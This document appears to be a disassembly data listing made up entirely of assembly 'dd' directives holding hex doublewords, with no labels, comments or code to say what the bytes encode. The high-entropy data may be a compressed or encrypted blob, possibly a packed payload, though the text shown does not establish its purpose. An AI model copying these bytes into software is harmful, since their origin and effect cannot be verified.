		dd 0CE240585h, 44611E8Bh, 806FC590h, 816D5915h,	1F00457Bh
		dd 9E66EF06h, 0C0D39h, 0C2C8B899h, 0AF2CDACEh, 0A7153700h
		dd 625D7577h, 0EE0D0125h, 0B1890540h, 4883C0CDh, 90A31303h
		dd 0E1D01A1Fh, 83405704h, 1D088ABBh, 39BD6196h,	0E973FA00h
		dd 0CB43A111h, 0A49D2300h, 0DADBB448h, 0A2B0BEh, 2B465271h
		dd 8B96FA5Eh, 9E658900h, 56FB7E9Ch, 52BD0762h, 404E5438h
		dd 11C6C257h, 76514600h, 0ABAFA061h, 0CA79E0h, 3E39B1Ah
		dd 30E974D3h, 4A720500h, 0FF46F12h, 0E0C401BEh,	8890E171h
		dd 30A2FC11h, 56967300h, 322E42B8h, 0B1E800F6h,	9CD16629h
		dd 54017B12h, 90E496D0h, 90DF884Bh, 4D49ECh, 0CD0A835Eh
		dd 9F8BC5A2h, 0A42CAA3Eh, 28006480h, 6415F64h, 2A760E24h
		dd 0CBE0B1C2h, 0B6F71DE0h, 0FBF8100h, 0BE8E4252h, 766F84Ah
		dd 51AF9F68h, 0A646F0DEh, 2D00E3A0h, 1B559A31h,	38BCFC76h
		dd 1F80EA22h, 4E7F26FBh, 7D0EB5D2h, 0F3F524h, 0AD19C3B8h
		dd 0B7350006h, 6C0189BEh, 9300E870h, 21E6420Dh,	95EDFCh
		dd 784BF40Ch, 0C2D1AB8Bh, 9C3CC712h, 3A374700h,	0B8E9E3h
		dd 0C5C347EAh, 0F6276507h, 8797B503h, 0F0140169h, 48DA690h
		dd 2CC0B3A1h, 5708267h,	8122D7E0h, 30B05800h, 2ED889BFh
		dd 69420037h, 512D1E72h, 0DA00F638h, 0FFF4E6C1h, 0E804329Eh
		dd 3CC50780h, 8035684Dh, 5F7A2450h, 82737E3Fh, 4B11B485h
		dd 6BDC80DBh, 2521C33h,	34B164C7h, 0B0406D41h, 9D00CAC5h
		dd 9936D072h, 24DE02h, 0EB324590h, 9233DFE0h, 5CB9D60Eh
		dd 0FBA98046h, 0FC0EECACh, 0BAC92F5h, 0E581D285h, 0D4171600h
		dd 7800B1A4h, 0FE3B5512h, 77FD23B0h, 0D2E00027h, 0B2C32695h
		dd 0BD04BA07h, 0A920DF98h, 8E0069A8h, 0DDCC7F72h, 0FA03279Ah
		dd 7950A889h, 0A0E801B4h, 0A4D863B8h, 24243054h, 38D29320h
		dd 2E7D1E4Bh, 648D38h, 8FEBE550h, 35FA6473h, 0F2DD7D00h
		dd 6D1BF181h, 266C7CBFh, 1918BB4h, 0FDDCF5FCh, 0E88FC844h
		dd 0E9CDA802h, 0E1DB943Dh, 9881991Eh, 0AFD49D26h, 4B702438h
		dd 0D218CEF0h, 70119B85h, 954107F5h, 30C8AD8Fh,	0FA7E1420h
		dd 70AB7730h, 7D62557h,	80B3CE78h, 41BB4790h, 41C8069Ch
		dd 0F1ABE8C4h, 0EC5CF095h, 0A969CB30h, 9A60B4B0h, 0EE910084h
		dd 0CEE4F34Ah, 5807C849h, 4E4C2B8Ah, 18B831B0h,	0B74618B1h
		dd 0A13C20F5h, 6C387660h, 0C097389Ch, 808BE850h, 40E969E5h
		dd 4592FF2Ch, 0B6C00700h, 48FBA14Eh, 0F4AB004Ah, 0E3972B55h
		dd 5876683Fh, 22057C01h, 1719E8F9h, 503F704Ch, 7FF385Eh
		dd 11E88B5Ch, 0FD33406Ah, 0AC503C55h, 40EBE510h, 0E8D9311Ch
		dd 1DB4F200h, 50BE5DCFh, 0AD59480Ch, 0DF965800h, 159D9B2Bh
		dd 6BC0D300h, 5065B7AAh, 0A7080029h, 40369451h,	8A7E9274h
		dd 8B002BE8h, 0E07F59FFh, 8FF7C0h, 671358BBh, 966F9A1Ch
		dd 6C7D5200h, 1EBA7297h, 48F01C6Bh, 560945DFh, 15BC5274h
		dd 0BE3E90C8h, 1959E518h, 0B9C08E88h, 0E9906892h, 1E99485Fh
		dd 7A7C71Dh, 20F6F041h
		dd 0C31479D5h, 9D1CA05h, 2C0337FEh, 9B115F7Eh, 61E6B7h
		dd 3EB1498Fh, 80D144A9h, 81782100h, 427F8FCh, 297360B7h
		dd 15A5FD3Eh, 931E0AFCh, 0F281A6ADh, 0EA94B1AAh, 65DDB2E1h
		dd 6F7C6980h, 5939DD16h, 0ABC51503h, 0D1E848F1h, 19F82D93h
		dd 0BF302E7h, 1CEFED99h, 0D6393844h, 0DB67807Dh, 0CE01EC2Fh
		dd 9DA20011h, 60462018h, 407A2878h, 0F22CDFE8h,	0C800BF0Bh
		dd 3BDCB462h, 0F8B8D5h,	4C513F6Ch, 123998DBh, 0C2F0C300h
		dd 0C56E5414h, 63F80676h, 0D9EFB47Ch, 0F208F100h, 0F91F6A5Fh
		dd 7034003Ah, 0D416658Ch, 0A035990h, 1422814Fh,	898EA060h
		dd 249279h, 547CE89Eh, 249D1738h, 0F77DE0FFh, 0EC283Ah
		dd 2B70E53Ch, 0C306DD1h, 51080ACDh, 0B9076438h,	68FDE69Dh
		dd 0D004E3F0h, 0B8E899h, 0DFF6E4EDh, 75CD790Bh,	0FA869F00h
		dd 0F5D13418h, 0B8882461h, 402D9F00h, 0F2A88AB1h, 38CEB411h
		dd 6A3C2114h, 309E9071h, 17ED41BAh, 808C6E84h, 69AB9739h
		dd 75A88809h, 456F0096h, 5BFBE430h, 0F03959A0h,	23C000A6h
		dd 3DBD4F29h, 1583015h,	2C9E1050h, 0C6D68D00h, 0E1A2B98Eh
		dd 0F90A127Ch, 0B150226Fh, 839BBC20h, 4230007Eh, 84D4470Bh
		dd 0F0C0DC62h, 0F637CA2Bh, 178015CBh, 0EC07C41Eh, 0D3048DBFh
		dd 1C90A99Ch, 93080DCh,	0A5F22161h, 0C4861589h,	2A09F4D9h
		dd 0B080666Ah, 3211370Fh, 1DE6FB00h, 20CFFD2Ch,	2DE80285h
		dd 0D96563A2h, 22779480h, 0B6009F7Bh, 27B98446h, 4C87A1DFh
		dd 0F1C100Bh, 925A42DCh, 45208F6Dh, 16042DAh, 8A9DEFADh
		dd 0E09F4F14h, 0A70BA81Fh, 8043DF3Ah, 0A04BD0A6h, 2781027Ah
		dd 8A8EF592h, 0E4151444h, 15C15AAh, 464018AFh, 61D82EBDh
		dd 0F962006Ah, 8ED53653h, 39C37A9Eh, 5A5E8D7h, 343DE89h
		dd 73B4404Eh, 6BAF01ADh, 0EF26A3E6h, 3A470C6Eh,	0F0C65913h
		dd 5F8F69h, 0BB52009h, 16FBD9F2h, 0C3ED0701h, 7CE38E1Ch
		dd 80E56983h, 27EB4232h, 8C62F5E1h, 71601D19h, 0F2520033h
		dd 0B42D47B5h, 8300FB5Ch, 911AD34h, 0FB986302h,	0B1E9D4D4h
		dd 601C24ECh, 0ED40A338h, 9EACC700h, 0E17A3CC4h, 0ABD8000Bh
		dd 0AF7C7FE8h, 0C1C0946Dh, 25D904B7h, 9F36027Ah, 0D7C5FDCCh
		dd 0FE1C9CA0h, 5A005272h, 7D63DCF0h, 506A4Bh, 46908392h
		dd 34EE1F81h, 4EE24C00h, 0E74598FEh, 75A7000Ah,	7B147E3Ch
		dd 520182A9h, 64F0047Ch, 0C20DC40h, 18E0271h, 1522F5C8h
		dd 0B87C1040h, 0B4D6A013h, 0D7479420h, 81FE07AFh, 0F043FBDDh
		dd 941A0FC8h, 8E12F00Ah, 9160F8ECh, 99FA0A60h, 929D006Ch
		dd 0B7170D1Dh, 6251ED61h, 8E8022BCh, 1C7C9D75h,	0CF0178DEh
		dd 42D121FDh, 3DE0FA79h, 0F5931268h, 0CDF44081h, 5290D54Ch
		dd 82A4F302h, 0C4FD0A48h, 48F7481Ch, 7E8CAB00h,	2C86E5BCh
		dd 8123EC3Eh, 0B9D1E26h, 4F7191EDh, 3DB808h, 6544385Eh
		dd 3649F11Eh, 2C805491h, 69568510h, 294300D6h, 9CEB30A3h
		dd 14905E05h, 8481917Eh, 275A020h, 0A5D14042h, 0C861A7FFh
		dd 5A88507Ch, 7D003D7Bh, 0B9C7B6DAh, 187AB8D5h,	0B9861DA2h
		dd 490099FFh, 25878C2h,	794740h, 0F5198D4Dh, 68C90DBh
		dd 0E89C530Bh, 0CC1C034Fh, 0B881EF9Dh, 0C4301FFFh, 0F4ED3E57h
		dd 0BFBADF8Fh, 20D91D8Fh, 6D85C433h, 0B3F1BB60h, 8C24CEh
		dd 90815C2Eh, 0A86883C1h, 0FA171F00h, 30BB024Eh, 9D8E192Ah
		dd 0FC94E188h, 825C4DE6h, 2DF600D7h, 1CE37ED2h,	0C86D5140h
		dd 6180BCE9h, 88E4A252h, 0B0CF4649h, 9D2AC162h,	1F3FD00Dh
		dd 381D4127h, 0F09C4C87h, 2905F8F1h, 0AB46DE40h, 0B77FA401h
		dd 60C422D6h, 0A57E0E87h, 0BE22B69Ch, 0C46F4Ch,	0DD4B6A00h
		dd 1DED25D4h, 7447489Bh, 7CB47E09h, 0CF4F3020h,	0B300CD82h
		dd 60EA54F1h, 58E2F722h, 0AD16CF15h, 5DEAC14h, 3F8CAA1Fh
		dd 0D65238CCh, 604448F9h, 8B02B8A6h, 641A5F48h,	3FDE030Ch
		dd 24077EFFh, 0FBE41A0h, 8BA40E1Ch, 8DAC5C7h, 510AFDE0h
		dd 81AC9890h, 0CC302EE4h, 0E2C43059h, 0F0161D69h, 7330A001h
		dd 5CD1F7C1h, 30CB3060h, 87F1A28Ah, 0DB003F2Ah,	2BD66BB4h
		dd 2435EEDh, 0C35D59B7h, 0A8A1ACF4h, 221A5342h,	140F00BCh
		dd 65DFB4DAh, 0BB0417EDh, 6019F8D9h, 3505E321h,	0A7480067h
		dd 164B8B57h, 62E1D6C8h, 91891364h, 40938822h, 0C42ABA0h
		dd 0EA6A5AE8h, 760078C1h, 1454807Fh, 0BDA5BAh, 357E498Eh
		dd 9E304897h, 0C2220B03h, 0B56E87h, 33AFD359h, 4D4CB958h
		dd 0A102B200h, 2F730951h, 0B8CB1211h, 7A200761h, 0D2A7D0F3h
		dd 0C100B0F2h, 84BFF718h, 92E3C408h, 5A77D4h, 4BD3583Ah
		dd 5164B19Ah, 0B688D150h, 0A3D85C0Bh, 2AE000D6h, 1599070Bh
		dd 204451CDh, 3112D12h,	432109Fh, 0EA608C99h, 2B8EB440h
		dd 0CD12B277h, 4400AB4h, 0A398A935h, 0FEE1012Ch, 1B65BFEBh
		dd 0B07AE0ECh, 0FB38613Bh, 0D1E3DF12h, 20BB3F0Fh, 9437065Dh
		dd 0AF20A7Ah, 8AC03F60h, 9F88896Fh, 0C04C1EDBh,	90CDC708h
		dd 18001D3Ah, 0A23D7DBAh, 1E864033h, 872B1951h,	0D2CA7AF2h
		dd 884403D7h, 2CE3D800h, 0A5D02AFBh, 3A6E7296h,	21E08ADFh
		dd 0BF2D2944h, 0F9E7A406h, 0EA19BA6Dh, 9A98002Eh, 3F5C80DFh
		dd 0E000DE02h, 37F10F97h, 793EF8E5h, 9DC0532h, 353A14Fh
		dd 0F29D20C8h, 0F08E25B9h, 0D1C48C0Bh, 5841BD88h, 20FDABF9h
		dd 2506F10Fh, 3D54162h,	18BC9029h, 1168F215h, 900116ACh
		dd 92B458EBh, 4022F4D5h, 4E7E3F00h, 9A2C462h, 405A42BFh
		dd 496A55A0h, 3F004C7Fh, 1C6F89A0h, 5400D117h, 4DE792D2h
		dd 9338810Ah, 0EECC04E0h, 5EC0823Ch, 70525A61h,	3B887D54h
		dd 7E25FC9Eh, 14CD0E7Eh, 736146FAh, 22B733BDh, 266B0000h
		dd 0CD0E2D18h, 8F2A1E67h, 17070084h, 1CB4B7B5h,	0D3F1D002h
		dd 80E9D559h, 0CAA6D878h, 80B45813h, 2E6AF80h, 0B51C5E01h
		dd 37C0C6D3h, 0A9881A6Eh, 8F030914h, 480B84Bh, 13168101h
		dd 0F5E339C1h, 0B88CC150h, 461B06Fh, 234A4F00h,	0C64B1CFBh
		dd 0A1DD00CBh, 0FABAD78Ch, 8F2E74D1h, 0AE6094ADh, 4AB2Bh
		dd 84F5C3C7h, 4B1D1791h, 0D1C44200h, 923615E4h,	7FE1FD45h
		dd 818BB413h, 0BC3856F8h, 119C5A4Ch, 204A0B3Ch,	1A7A9940h
		dd 0AAAD4F00h, 80DA1032h, 0C4A42Bh, 0A15EA7BAh,	29B30AF1h
		dd 0AD7CBD00h, 4A7554CAh, 0AEF90125h, 924746E8h, 1704226Eh
		dd 4E0029B4h, 0E8ACDE5Fh, 0A5F3024Eh, 6027B271h, 97C6EB81h
		dd 0C7EC7166h, 0EBD7890Ah, 0F540C0AAh, 6DBB812h, 0B72C8092h
		dd 2A009170h, 0C4FCF411h, 0B5A0BBh, 876CF297h, 0EF9D8B26h
		dd 46564300h, 0FC15F6D6h, 63091753h, 0CC4842C6h, 0C0C03CE4h
		dd 34C462Ch, 26D580ACh,	0F46DFBh, 0E94DA022h, 9C05F2ABh
		dd 28A8010Ah, 6828EC36h, 0CCF3C3Fh, 9111B7F3h, 0A57B018Dh
		dd 0CC08350Ch, 3D2429B4h, 0A78880DAh, 56221901h, 0B6F107D5h
		dd 506ED79Bh, 5DAC8EF9h, 7A446890h, 136CB384h, 72880243h
		dd 0C884E044h, 6BEC4F1Eh, 179C18A0h, 0E21B0050h, 0CEA963B9h
		dd 0B00B074h, 3D44B765h, 0B957098Bh, 458E3EB8h,	0BC21F256h
		dd 4803D408h, 0B90B89B8h, 47DED10h, 0C0C17CCCh,	0EC388114h
		dd 5B2AE380h, 0A039B58Bh, 1CD048E5h, 7E40FEA9h,	0EBDF5EB1h
		dd 3BA12590h, 0E7BF8023h, 6E8450F8h, 3474505h, 1BC330B4h
		dd 0BCECF83Fh, 2B71000Eh, 55F1BBE6h, 0A605FA59h, 0BFB2D7ADh
		dd 0E1C84C5Fh, 87E1271h
		dd 1D8CD318h, 72A02927h, 658C0037h, 0C291BABDh,	0D90039BBh
		dd 0C7AFA457h, 2CEB3ABEh, 4068887Bh, 262DDABAh,	0CA876500h
		dd 56A41642h, 49C0080h,	0AE627EF1h, 6C99EFD7h, 582DC681h
		dd 7460F44Dh, 7EC42AB9h, 8B4107DCh, 0E03CB018h,	2410E3D1h
		dd 0A10246EEh, 720CC269h, 508508Dh, 1D70C8BFh, 0C55C0081h
		dd 0F2B454BEh, 0F44A2200h, 9E2690D7h, 4F0A0CE6h, 790847A8h
		dd 110F4BFEh, 0E5C3125Fh, 0C0028C02h, 59ECDE98h, 0CF350EB4h
		dd 0F0081960h, 8D27766Ah, 0B048103Ch, 0C4120871h, 3E0056EDh
		dd 0F8D9495Fh, 5432078Dh, 0B0BC7D80h, 9E4120A0h, 685EC0Bh
		dd 31EC84CEh, 95408C8h,	0F33532AEh, 43ABFC84h, 0E0B1B9D8h
		dd 105AD3Fh, 0CBF64AE8h, 8E9C70D5h, 0EC59D4h, 8AA89D4Eh
		dd 47FD01BFh, 0DA22487Fh, 48621Dh, 0F30EED25h, 1C6D14C7h
		dd 0ECE83C89h, 3AC2064h, 0F44CEC03h, 0E9A791E2h, 81972C06h
		dd 46007D73h, 85F923D2h, 0B9E48EA8h, 0FC033C84h, 51384BD1h
		dd 490C480Bh, 65900487h, 0A1E48Ch, 0CEBA4D59h, 918E7A5Eh
		dd 0E06E9096h, 739329EBh, 4B990F4Fh, 308C0AE7h,	220C15B9h
		dd 118F1CCFh, 5D5001Ah,	12E3B40h, 0EB17312Ch, 0AC00E555h
		dd 0FFBF93DBh, 43172EADh, 47A16E54h, 70218BF3h,	2602D6ADh
		dd 15D07DFCh, 3CAF40ACh, 0CE78A8ADh, 4DED0F99h,	93E0095Ah
		dd 55D63BDCh, 1A580h, 7D9F1A85h, 7022D97Bh, 1B164500h
		dd 0B4C33F0Ch, 62EE8F6h, 0F58ED750h, 0C486E978h, 5147B107h
		dd 4F40A10Bh, 1E529E4h,	0D191A8D0h, 0D025A0A6h,	389CECA5h
		dd 0B903867h, 1953BF7h,	82E902F9h, 0E9292F4Ah, 806068D7h
		dd 0FF13E6D8h, 0E1D10055h, 0E18F05Ch, 4D0073DFh, 854AB24Eh
		dd 0F38F93h, 0DD3F55CDh, 0A282E10Ah, 0FB4E500h,	22431D3Bh
		dd 0A8E212B7h, 708400A5h, 939C55C7h, 9F65DF00h,	3292579Eh
		dd 6FCA0FEh, 0B20180CBh, 2404B358h, 400954A8h, 8DA4985Eh
		dd 5F180072h, 137E7326h, 0D4007875h, 8C0075Ah, 120BF35Eh
		dd 303D6EB4h, 0F128C6E0h, 0EC0001F6h, 50537DABh, 79FAF04Ch
		dd 0FE2D0018h, 0BDBEE4Fh, 11275DEDh, 0FFD4A76Fh, 7A141570h
		dd 121A07CCh, 0C7332B58h, 0FE0724Eh, 5898404Ch,	1D146508h
		dd 0BDDD8074h, 0CF86CDA8h, 2C93F424h, 0F9B04B00h, 27A9294h
		dd 0A44055E2h, 9C60FAC0h, 0FC91DF7Dh, 0AB69D580h, 761719Bh
		dd 6BC586E9h, 0C90F1FEh, 16331A6h, 4003F5D6h, 4EDEDB74h
		dd 0D82AB100h, 547E6A38h, 0F3182532h, 6E4BF378h, 7B087C40h
		dd 0F6ECAFh, 9C1140F7h,	0B9E1EA69h, 7052AD07h, 68BB0AE4h
		dd 0A1A44F0h, 57B8D415h, 0CE7E01B0h, 33F6D5A1h,	0ED54022Ch
		dd 726F8E58h, 71630070h, 802AF647h, 0E4032F7Eh,	0FF099B98h
		dd 0B0591276h, 0B9230454h, 4C8C8CD5h, 0C0D3A800h, 47B70906h
		dd 7658BA59h, 1458B6BCh, 4A3F9C03h, 520A5389h, 65C0F010h
		dd 3E44F890h, 82D09C88h, 845CC787h, 0CD3BB240h,	14865F00h
		dd 0B89DD5C9h, 829100D0h, 0EC4765C3h, 0C00F9D1h, 790B8429h
		dd 588D4F45h, 92EC3Fh, 2322B448h, 69C062F5h, 8A73D5BCh
		dd 315C0072h, 66FF44E9h, 86762150h, 794B6100h, 0C6FC60EAh
		dd 0E71B00E3h, 0B2DEE029h, 0EE000A55h, 4ECE4FDh, 0BCEB33h
		dd 960771B1h, 0C56F09F4h, 3500BCB9h, 38179AECh,	0F9293EBDh
		dd 800DA29Eh, 5F35D28h,	0B730FE98h, 8468A975h, 0E13400AFh
		dd 0C2448914h, 0B0906308h, 0A1F92D00h, 919D9C46h, 86E419EFh
		dd 875ED8C4h, 0A50BBA20h, 78E4FD84h, 73A8B815h,	673D0FAFh
		dd 48C27BFAh, 0C8818EC5h, 723085BBh, 0FEC0F40h,	11829C54h
		dd 41723FC0h, 4C40B402h, 1F0CD2Bh, 7C2EEDFCh, 0C658DC06h
		dd 29640060h, 3FB050EFh, 0B07E2DAh, 0C11C743Ch,	1A663980h
		dd 30F64889h, 0DEAD5280h, 8A4BDA0Dh, 4FC2D847h,	3EEF5620h
		dd 0B8B11Dh, 1CE7785Bh,	0AE0081E2h, 0BC3C71ACh,	5CE5275Dh
		dd 6A05E0E6h, 0E0FDA5F1h, 0B730FC40h, 5ABCB176h, 1A2B136Eh
		dd 24860053h, 0FCED157Bh, 0D002327Ah, 85A7C8E3h, 9938E34Ch
		dd 4822570Ah, 0CE4211Fh, 0D585060h, 0E4406E4Bh,	6A24CD76h
		dd 75AF0069h, 4ECC268Dh, 0F300E713h, 0ED300CA4h, 4A8E83CBh
		dd 9E3090F6h, 6E00E89Dh, 0DD3D934Eh, 622EE65h, 0B4D060DCh
		dd 0C91EB1D8h, 17409CC8h, 3DF0C5F6h, 2A72094Eh,	0F0884902h
		dd 2386006Ch, 556E8EABh, 2D087D00h, 0C421C79Ch,	0B971C068h
		dd 1C1681D9h, 0E727A400h, 74EE0BE1h, 6F860080h,	4E82AABAh
		dd 710985B4h, 80ABA522h, 0B693FA0Dh, 2E547A46h,	60C08110h
		dd 0CA16EC9h, 0B4309F7Ch, 25AB89EEh, 38DF0041h,	0B2437DD7h
		dd 0C8F0D377h, 9B61A00h, 28FD952Eh, 4F24A06Ah, 0E2630012h
		dd 222FB87Fh, 0E42608CEh, 0C84020C4h, 0E2DC42h,	0BFA8A3D5h
		dd 0A2AF52DAh, 33D4D20h, 1462E812h, 10044560h, 6D2A8773h
		dd 990A68E2h, 11D87170h, 37DD0096h, 75058198h, 0DE472512h
		dd 63F8A010h, 83F6AB00h, 0BBBD8629h, 14DA00F0h,	0BAEAD44h
		dd 7116E89Fh, 3C88F2F6h, 7EE094h, 672608E7h, 6D9F8E1Eh
		dd 0A9B59C00h, 0F5D019ABh, 0E851482Ah, 340556C0h, 6B009BCBh
		dd 33906E49h, 2F3C70h, 0EA7C4B1Dh, 0A619BBAAh, 8779F8B0h
		dd 78B89E04h, 10B91D64h, 214ED100h, 0E60D5250h,	0E29A3D09h
		dd 33C660Ah, 67816F56h,	3EB8F2A3h, 11004DF5h, 697F3CCDh
		dd 27F4A85Dh, 0B0A06DABh, 7890168Ch, 0A082FB2Ch, 0B580A31Dh
		dd 358F4FB6h, 9DE0DF8h,	40613157h, 5A1CC040h, 212A11C0h
		dd 0F9FB48h, 0CEA54DE1h, 0C354EFFEh, 4C46DC00h,	1DD8A3B4h
		dd 0FF31C025h, 69663AE2h, 0A0730D0Eh, 25C20D2h,	7135C29Eh
		dd 598202A7h, 77B4B232h, 94AA9CA0h, 1D5468B7h, 0ED00A324h
		dd 29152BC4h, 0E6DB10h,	0A0D123C0h, 533B3E13h, 0D73D6003h
		dd 9D5B6590h, 0F0FC0480h, 17297CB5h, 0C1EA5749h, 2836EC00h
		dd 8B3EC070h, 18E2FA9h,	0DCCE3D59h, 68B7D414h, 0CFA9C028h
		dd 12D54D4Bh, 0B23C7290h, 0F59F0154h, 0F2CB43D6h, 460FFD7h
		dd 2E814FAh, 0B411F3F4h, 1C7AF78Eh, 5DB69E0Fh, 68600CDh
		dd 145F11ACh, 0B01A5BCFh, 0ADF9C09Fh, 92215360h, 9390C600h
		dd 0D1D2B10Ch, 614A0032h, 0D5AA7ED6h, 8700C762h, 8527801Fh
		dd 743F070Bh, 55040F8Dh, 9219D49h, 22B724FCh, 0B28E00DCh
		dd 3743A1E2h, 0D09800DCh, 598AED97h, 22093591h,	5F5AEF9h
		dd 0C02CB0h, 2718ABB7h,	68A0C4CEh, 95FD8802h, 0C9343001h
		dd 53FC57DDh, 783820h, 56E24CDCh, 29A5F336h, 9C438000h
		dd 82EA1D9Eh, 703390D5h, 57E9C2D4h, 94C43BDFh, 0B2A1E000h
		dd 7EDE6298h, 4C8C09CBh, 0F4091D76h, 4B0198C4h,	5A11ECFBh
		dd 683CCDD5h, 0EB8BDC0h, 0D2002562h, 0C65AC73Dh, 1CF86812h
		dd 82A6D674h, 0AA2BC269h, 0A4CD50C0h, 4DE4E600h, 33E15826h
		dd 0C4B701D7h, 804F716h, 0D3EAF054h, 5B3F19C0h,	0E2DC64F2h
		dd 0D5B63E27h, 0FB3B400h, 0AD259FD8h, 0ECAB0400h, 6AD2D4AAh
		dd 777C0052h, 0B9247857h, 5400DCEBh, 0B4EC99BFh, 6F931E7h
		dd 0C52DF2B3h, 0CC60E25Eh, 1BE62F69h, 376F0AE4h, 70C5B28h
		dd 4CD53FC4h, 2B005778h, 69980DA7h, 0C7CCDCBCh,	0A0924819h
		dd 918316B2h, 2BB1A700h, 0B49063A3h, 6ABA02CCh,	6F3C531Fh
		dd 6DA80063h, 3033C516h, 0E07141D0h, 0F0C5E81h,	0F6B4F7A1h
		dd 14FE6F2Ah, 0F11DF7F5h, 451D0F69h, 3698D66Ch,	3223F900h
		dd 3EB5DF5Fh, 6A1C010Ch
		dd 0BBC55E2Bh, 8FA011DAh, 606480DAh, 1DA2FA3Bh,	408A34A8h
		dd 81F0F5Ch, 0C801A016h, 0F49E1730h, 9080C259h,	37CF916Eh
		dd 0AB3B80A1h, 483C30FFh, 1E3594D5h, 408CFE19h,	7663992Dh
		dd 69C0D88Fh, 7A7BEC41h, 9DBB01B0h, 29E9F5FAh, 0B7B98F2Eh
		dd 0FC12C0F6h, 60F4A5F8h, 0EE461991h, 83000476h, 49D3A8CDh
		dd 0AB25B3C5h, 16AF3F8h, 745FEA29h, 0EF8C54B7h,	8A1C29B8h
		dd 7D612802h, 2393A80Dh, 0F39057F5h, 38015821h,	0B29F6127h
		dd 0F03BA189h, 0CB383FA9h, 805B07B9h, 4EA02213h, 0A0D9D40Dh
		dd 247A5920h, 40442E26h, 9E1DB310h, 0FC02A5FAh,	26802D68h
		dd 660440Dh, 710FC655h,	0EE0011C7h, 647B3991h, 0F71176h
		dd 737595ADh, 44D7DCEAh, 0FCA45900h, 792A1C2Ch,	39D2608Fh
		dd 8994BE30h, 46E80400h, 8BC9F2ADh, 1B3F0B4Fh, 0A080BCFCh
		dd 1C959DEAh, 0EE02C403h, 28DE510Eh, 2470B9h, 3BB15672h
		dd 9020913Ch, 0B6983900h, 0FA48D088h, 0EA31017Dh, 415707D1h
		dd 0EDC9D4DDh, 2A67C33Ch, 0A506F401h, 27CF2CE2h, 477E11h
		dd 0DF35D484h, 26E40EFCh, 13008174h, 431DE11Eh,	0FA12FFA1h
		dd 0CF9D18C0h, 0B0D23905h, 0E0A9FD04h, 0C4801669h, 38AB818Bh
		dd 2D986D0Ch, 0EEE329EAh, 0F1C98863h, 3ECBD01Bh, 1E9000FCh
		dd 0FD6F93D3h, 2A04BCA8h, 530972DBh, 7EF0A887h,	98EB29CCh
		dd 0E2EC221Ch, 8C15BC3Ch, 613BCE19h, 6EDCA0CFh,	878000A8h
		dd 2796A5B1h, 26113EB8h, 7200D7EFh, 527C854Ah, 0EC4C289Eh
		dd 62568004h, 3A78B37Fh, 2D81719Bh, 0B04B57D0h,	289C20F8h
		dd 4CE0AF38h, 73FD1245h, 0B3A28820h, 829E011Eh,	0B43E4988h
		dd 0E4232Eh, 814B934Ch,	0DAA852h, 0CE5E7140h, 0B2CFB995h
		dd 0DB1BB9C0h, 0E0A02Bh, 0A6F54DA8h, 245AED8Ah,	17739103h
		dd 9B08A43Eh, 0D89DB0DCh, 0C7FC730Eh, 93956661h, 11009446h
		dd 17BE3AAh, 4A48E61h, 86C5A0E2h, 5618D1CFh, 0CCA3E184h
		dd 0C33828A8h, 0DCE40DA4h, 4D021D2h, 0C9620457h, 0C2DD94F4h
		dd 9D20D930h, 0DBEF7Fh,	0C1F10E08h, 71F97EBEh, 3DDF10A0h
		dd 7BBF854Ch, 9879C900h, 7F605DC7h, 0B28B03EAh,	92A80E09h
		dd 7CA948h, 37DA174h, 26B440BAh, 404023CFh, 62151D80h
		dd 0B2F9E400h, 0F2A20136h, 467D0010h, 3ABDA42Eh, 4F310ED9h
		dd 0D17051C1h, 45E38993h, 80923794h, 11EE3FAEh,	0AB57007h
		dd 0AD60B235h, 9C5178Ch, 9810FF16h, 0C981342Eh,	201FA6A7h
		dd 20C49D8Ch, 0B0C8708Bh, 662060Ah, 0D6E6F0B8h,	997D9E0Bh
		dd 0E43403D5h, 84A4B80Dh, 0BFB4F01Bh, 0C99793E0h, 3A387F71h
		dd 7357039Dh, 0D1111976h, 0B98566EEh, 0C7303F62h, 0E23CA088h
		dd 7C0ECF35h, 6450D24Fh, 40C81226h, 8CAA04F3h, 14375766h
		dd 8EFC03E0h, 0D865522Fh, 62C0A6Fh, 0F45ACB19h,	1C0E6186h
		dd 0A03FFFE5h, 3ED19C12h, 0CB5E00B8h, 5D2BC867h, 58F0ECA4h
		dd 0FE589F72h, 9E70030Ch, 3AAD8F77h, 0B1803A79h, 7C7F23CDh
		dd 0B0626066h, 4855DB81h, 3CB4851Ch, 590B2230h,	2C808A48h
		dd 3677AC07h, 2646860Ch, 33B79114h, 7F4129CDh, 0A080FBC8h
		dd 0A59B5F02h, 40BCC3EEh, 84954F14h, 868940Fh, 0A42A22F7h
		dd 278C606Dh, 204995Bh,	95E4BF3h, 69E5D881h, 0CD51145h
		dd 149DEDBh, 0BE8E794Ch, 0D063CCFEh, 0ADB0AB21h, 2EEB4300h
		dd 0D1FB6A29h, 2C365428h, 0C906205Dh, 7F0A8F03h, 2CD6FB0Dh
		dd 6098A451h, 0C02B073Ah, 0CC053E00h, 0BC99ED7Fh, 81200972h
		dd 94925A6Dh, 82CF34A0h, 48E937AFh, 4A008184h, 0E9A4CFBh
		dd 0F4BC5D97h, 7627061Fh, 91C68F63h, 6667101h, 6F348452h
		dd 3BA103C4h, 328EF356h, 66C0FDC7h, 7AF07CA5h, 0CFD9FF13h
		dd 46708C20h, 0B6FE418h, 0DCD07348h, 74044C90h,	7D87CA04h
		dd 18C04C38h, 0C00ECE9Fh, 4D8E4439h, 2C04A2D1h,	57343CD4h
		dd 0D87FC683h, 0C02ACF15h, 0A3E6CE29h, 2D1ED9AAh, 49809F6Bh
		dd 92A50983h, 0DA7495h,	0FB5A8BDh, 6465984Dh, 0F6DB6D00h
		dd 0CFE3ECB3h, 0D824A3BFh, 0EA12C6h, 8B59A065h,	5394501Bh
		dd 0D413262Ch, 0A0C1F345h, 95D0CA9Dh, 94710051h, 0D03D6686h
		dd 0CF5047D4h, 0EF006C60h, 0D821B3BDh, 13CCA8Ah, 333E758Eh
		dd 307EC0CDh, 3A08DF24h, 8066EE0Eh, 2D937A09h, 213AB58Ah
		dd 0E5798096h, 256D6601h, 1EC9189Dh, 383DC259h,	0A011700Eh
		dd 5402960Ah, 648E1339h, 35250318h, 5D91321Dh, 29F322F0h
		dd 2FE620h, 7E3E168Fh, 0A5EF3F8Ch, 84C29701h, 0D47996A4h
		dd 17611420h, 0A1F0C7h,	379D44D8h, 0E26C4156h, 4C850810h
		dd 69265406h, 0CF848658h, 3300F90Dh, 4A17BEBAh,	0B50BDBh
		dd 46FCEAC0h, 94297C4Bh, 116F5203h, 891BB27Eh, 0DE8CE3F7h
